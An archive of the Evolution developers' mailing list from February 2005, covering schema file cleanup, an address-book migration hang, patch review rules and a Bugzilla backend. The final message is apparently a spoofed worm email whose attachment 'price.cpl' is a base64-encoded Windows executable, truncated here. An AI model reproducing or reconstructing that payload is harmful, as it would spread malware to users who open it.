([10.80.195.88]) by slpop.smtp.stsn.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 6 Feb 2005 23:30:30 -0700 Subject: Re: [Evolution-hackers] Schema file issues From: JP Rosevear To: Not Zed Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107565803.26413.16.camel@lostzed.mmc.com.au> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 07 Feb 2005 01:15:40 -0500 Message-Id: <1107756940.12870.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Feb 2005 06:30:30.0883 (UTC) FILETIME=[85504330:01C50CDE] X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > My opinion is 'who cares', its only for the registry editor, which > shouldn't ever be being used anyway, if all things are working > properly. Well, I do and so do the translators at least. There were also non string related items in the mail - dead keys, keys in possibly the wrong spot and schema file naming which need addressing. -JP -- JP Rosevear From dsandras@seconix.com Mon Feb 7 05:32:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 720081244FB; Mon, 7 Feb 2005 05:32:45 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id BBCDC1244FB for ; Mon, 7 Feb 2005 05:32:33 -0500 (EST) Received: from pc-dhcp-44.telecom.fpms.ac.be (unknown [193.190.210.151]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 5F93A181CB for ; Mon, 7 Feb 2005 11:34:41 +0100 (CET) From: Damien Sandras To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Mon, 07 Feb 2005 11:32:30 +0100 Message-Id: <1107772350.29230.4.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] EDS 1.2 - Migration of the address book Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello to all, I noticed a potential problem with the new Evolution-Data-Server 1.2. Some GnomeMeeting users do not use Evolution as mail client, but they are still "forced" to use Evolution-Data-Server as backend in order to store GnomeMeeting contacts in the address book. When upgrading to Evolution-Data-Server 1.2, things do not work anymore until they launch the new Evolution that will do an "address book migration". That will give a problem to all users who are not using Evolution. One solution would be to copy the code to migrate the address book from Evolution to GnomeMeeting, but it doesn't seem to be a good solution as it would require to do it for all GNOME applications who are using Evolution-Data-Server. Wouldn't it be possible to move that "Address Book" migration code to Evolution-Data-Server itself? If not, what other clean solution do you propose? Thank you, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dobey@novell.com Mon Feb 7 13:28:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4C510124016; Mon, 7 Feb 2005 13:28:43 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 1C77F124076 for ; Mon, 7 Feb 2005 13:28:31 -0500 (EST) Received: (qmail 28629 invoked from network); 7 Feb 2005 18:28:30 -0000 Received: from localhost (HELO blackbox.boston.ximian.com) (dobey@127.0.0.1) by localhost with SMTP; 7 Feb 2005 18:28:30 -0000 Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Rodney Dawes To: Damien Sandras Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107772350.29230.4.camel@golgoth01> References: <1107772350.29230.4.camel@golgoth01> Content-Type: text/plain Date: Mon, 07 Feb 2005 13:28:29 -0500 Message-Id: <1107800909.30192.6.camel@blackbox.cam.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > Hello to all, > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > Some GnomeMeeting users do not use Evolution as mail client, but they > are still "forced" to use Evolution-Data-Server as backend in order to > store GnomeMeeting contacts in the address book. > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > until they launch the new Evolution that will do an "address book > migration". Things don't work how? The backend hasn't changed for the address book, and the gconf keys haven't changed in format or anything either. I think this is just a bug, and not necessarily a need to run migration. > That will give a problem to all users who are not using Evolution. > > One solution would be to copy the code to migrate the address book from > Evolution to GnomeMeeting, but it doesn't seem to be a good solution as > it would require to do it for all GNOME applications who are using > Evolution-Data-Server. > > Wouldn't it be possible to move that "Address Book" migration code to > Evolution-Data-Server itself? If not, what other clean solution do you > propose? We do need to move migration into e-d-s itself. Perhaps we should do that for 2.3. I don't think we have time to do it for 2.2, given that we are now string/ui/feature frozen for Gnome 2.10. -- dobey From dsandras@seconix.com Mon Feb 7 13:47:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 57C96124330; Mon, 7 Feb 2005 13:47:51 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id 7C5C812435A for ; Mon, 7 Feb 2005 13:47:25 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id 3EF6885B2; Mon, 7 Feb 2005 19:49:36 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 19:47:21 +0100 Message-Id: <1107802042.3223.7.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-14.0 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. > If the address book has been created by GnomeMeeting using Evolution-Data-Server 1.2, there is no problem. If there exist an address book created by Evolution using Evolution-Data-Server 1.x, then it hangs with the following backtrace : #0 0x41a37115 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/libpthread.so.0 #1 0x405b5906 in e_book_cancel () from /usr/lib/libebook-1.2.so.3 #2 0x405b5a60 in e_book_open () from /usr/lib/libebook-1.2.so.3 #3 0x080bce00 in gnomemeeting_local_addressbook_get_contacts ( addbook=0x82cb0c8, nbr=@0x0, partial_match=0, fullname=0x82d3838 " ²,\b\001", url=0x0, categorie=0x0, speeddial=0x0) at gm_contacts-eds.cpp:424 [...] Once the address book migration has been executed by the new Evolution, then it starts working again. > We do need to move migration into e-d-s itself. Perhaps we should do > that for 2.3. I don't think we have time to do it for 2.2, given that we > are now string/ui/feature frozen for Gnome 2.10. No problem but is there a workaround to the above problem? -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From dsandras@seconix.com Mon Feb 7 15:24:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 56F1D12422D; Mon, 7 Feb 2005 15:24:41 -0500 (EST) Received: from seconix.com (seconix.com [213.193.144.104]) by lists.ximian.com (Postfix) with ESMTP id F3DA512420C for ; Mon, 7 Feb 2005 15:24:28 -0500 (EST) Received: from [192.168.1.12] (165-83.242.81.adsl.skynet.be [81.242.83.165]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by seconix.com (Postfix) with ESMTP id D8B9518F8F; Mon, 7 Feb 2005 21:26:41 +0100 (CET) Subject: Re: [Evolution-hackers] EDS 1.2 - Migration of the address book From: Damien Sandras To: Rodney Dawes Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1107800909.30192.6.camel@blackbox.cam.novell.com> References: <1107772350.29230.4.camel@golgoth01> <1107800909.30192.6.camel@blackbox.cam.novell.com> Content-Type: text/plain; charset=ISO-8859-15 Date: Mon, 07 Feb 2005 21:24:23 +0100 Message-Id: <1107807863.13703.0.camel@golgoth01> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-19.0 required=5.0 tests=BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. OK the solution is simple : The problem only arises when evolution-data-server 1.2 and 1.0 are running at the same time. So the fix is to kill e-d-s 1.0 and things work again. Thanks, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From jpr@novell.com Mon Feb 7 15:36:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B642E1248B3; Mon, 7 Feb 2005 15:35:58 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C0EC2124898 for ; Mon, 7 Feb 2005 15:35:46 -0500 (EST) Received: from [151.155.11.182] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 13:35:36 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 15:35:24 -0500 Message-Id: <1107808524.26032.5.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode reminder -2.0.4 bugs and timeline 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 7 18:16:31 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F3518124640; Mon, 7 Feb 2005 18:16:30 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 1157D12418D for ; Mon, 7 Feb 2005 18:16:19 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id C6D23640F3; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 5B3AF640C3 for ; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 16:16:06 -0700 From: JP Rosevear To: evolution-hackers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 18:15:55 -0500 Message-Id: <1107818155.19112.6.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Patch Review Mode Guideline Update Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The following are the guidelines for the 2.1 patch review mode. We still need one more reviewer for GtkHTML. Starting Tuesday Feb. 8th, 2005 at 00:01 Boston time, patch review mode will be in effect: * Every patch will be sent to evolution-patches@ximian.com and conform to the guidelines at http://www.gnome.org/projects/evolution/patch.shtml * Every patch will have to be on the list for at least 24 hours before being committed. A week-end (Saturday+Sunday) counts as a single 24-hour day. * Core maintainers are required to give their opinion on the bug in the 24 hour period. * Core maintainers are defined as follows: Addressbook (Evolution and EDS): Sivaiah N Hans Petter Jennson Calendar (Evolution and EDS): Rodrigo Moya Harish Krishnaswamy GtkHTML: Radek Doulik Mailer (Evolution and EDS): Jeffrey Stedfast Michael Zucchi Groupwise (EDS): Sivaiah N Harish Krishnaswamy Chenthill Palanisamy Shell: JP Rosevear Michael Zucchi GAL: Any of the maintainers listed above * Once the patch has been committed, it is repsonsibility of the person who commits to: - Close the corresponding bug on Bugzilla. - Write to the mailing list, replying to the original message containing the patch to inform the other hackers that the patch has been committed. -JP -- JP Rosevear Novell, Inc. From jpr@novell.com Mon Feb 7 19:39:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 78A171243F7; Mon, 7 Feb 2005 19:39:41 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0B9D0124640 for ; Mon, 7 Feb 2005 19:39:29 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 17:39:24 -0700 Subject: Re: [Evolution-hackers] Re: Schema file issues From: JP Rosevear To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: text/plain; charset=utf-8 Date: Mon, 07 Feb 2005 19:39:12 -0500 Message-Id: <1107823152.19112.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-04 at 23:00 +0100, Danilo Å egan wrote: > Hi, > > Today at 18:27, JP Rosevear wrote: > > > So, my original task morphed somewhat and I ended up tidying up the > > contacts, calendar and shell schema files (and cropped up some > > additional issues below), I started on the mailer but it has more than > > the other three combined so I started to get worried about the number of > > string changes this might involve total, so I'm CC'ing the gnome-i18n > > team as well. > > I feel if these are going to go in, they should go in now. Freeze is > there for translators, but before the freeze, all changes are welcome > unless they unnecessarily burden some teams. Consistency is what > translators very much prefer, so it's better done now than later > forgotten. > > According to last update, we also have problems updating evolution POT > files in our stats, so that may be of bigger influence than these > changes (depending on how long this is the case). > > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. For me all modules at this link are now red (or yellow). Note that evolution versions the GETTEXT_PACKAGE to allow for parallel installs in some cases (e-d-s, gal, evolution-exchange and gtkhhtml all do this) > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) This particular change just affects the schema files. I've committed it the changes except for the mail part because its so large and I haven't finished it yet. If its a big deal, let me know, we can always revert it. -JP -- JP Rosevear From notzed@ximian.com Mon Feb 7 21:54:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 680D112410D; Mon, 7 Feb 2005 21:54:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id ECB7712437B for ; Mon, 7 Feb 2005 21:53:49 -0500 (EST) Received: (qmail 29451 invoked from network); 8 Feb 2005 02:53:48 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 8 Feb 2005 02:53:48 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107756940.12870.1.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> <1107756940.12870.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-TAkmk6lmZH2dIWCZF62z" Date: Tue, 08 Feb 2005 10:48:40 +0800 Message-Id: <1107830920.4518.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/plain Content-Transfer-Encoding: 7bit Well you asked for an opinion. On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: > On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > > > My opinion is 'who cares', its only for the registry editor, which > > shouldn't ever be being used anyway, if all things are working > > properly. > > Well, I do and so do the translators at least. There were also non > string related items in the mail - dead keys, keys in possibly the wrong > spot and schema file naming which need addressing. > > -JP --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Well you asked for an opinion.

On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: 
On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote:
> 
> My opinion is 'who cares', its only for the registry editor, which
> shouldn't ever be being used anyway, if all things are working
> properly.

Well, I do and so do the translators at least.  There were also non
string related items in the mail - dead keys, keys in possibly the wrong
spot and schema file naming which need addressing.

-JP
--=-TAkmk6lmZH2dIWCZF62z-- From mike@axl.net Tue Feb 8 00:22:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7C49A1249DB; Tue, 8 Feb 2005 00:22:46 -0500 (EST) Received: from europa.axl.net (axl.net [216.66.11.100]) by lists.ximian.com (Postfix) with SMTP id A8CBB124B8F for ; Tue, 8 Feb 2005 00:22:34 -0500 (EST) Received: (qmail 6182 invoked from network); 8 Feb 2005 05:22:34 -0000 Received: from pool-162-83-196-4.ny5030.east.verizon.net (HELO ?192.168.1.103?) (162.83.196.4) by axl.net with SMTP; 8 Feb 2005 05:22:34 -0000 From: Michael Henson To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Tue, 08 Feb 2005 00:20:40 -0500 Message-Id: <1107840041.5476.6.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.2 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Bugzilla Backend Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I have uploaded an initial implementation of the bugzilla backend for evo -- bug: http://bugzilla.gnome.org/show_bug.cgi?id=127558 Aside from a few rough edges it is mostly functional. There is a more complete writeup of the functionalities and limitations attached to the bug. I do, however have two questions: * What is the best way to handle adding the appropriate source groups? Currently the ui plugin requires the presence of a bugzilla:// group for it to be activated. * When creating a new task list you can choose to import a stored query. It would be great if I could set the name of the list to be the same as the query if no other name were set, but I can't find a clean way to do this and update the ui. Any suggestions? Any other suggestions would be most welcome. -- Michael From notzed@ximian.com Tue Feb 8 22:00:06 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8EB83124502; Tue, 8 Feb 2005 22:00:06 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id B4A9C12417C for ; Tue, 8 Feb 2005 21:59:47 -0500 (EST) Date: Wed, 09 Feb 2005 10:03:41 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------oxbkhovhmnbptnahumzq" X-Spam-Status: No, hits=3.7 required=5.0 tests=DATE_IN_FUTURE_12_24,HTML_30_40,MICROSOFT_EXECUTABLE, MIME_HTML_ONLY version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Hi Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------oxbkhovhmnbptnahumzq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :)
----------oxbkhovhmnbptnahumzq Content-Type: application/octet-stream; name="price.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.cpl" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAGqEAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABqVAAAADAAAGpUAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 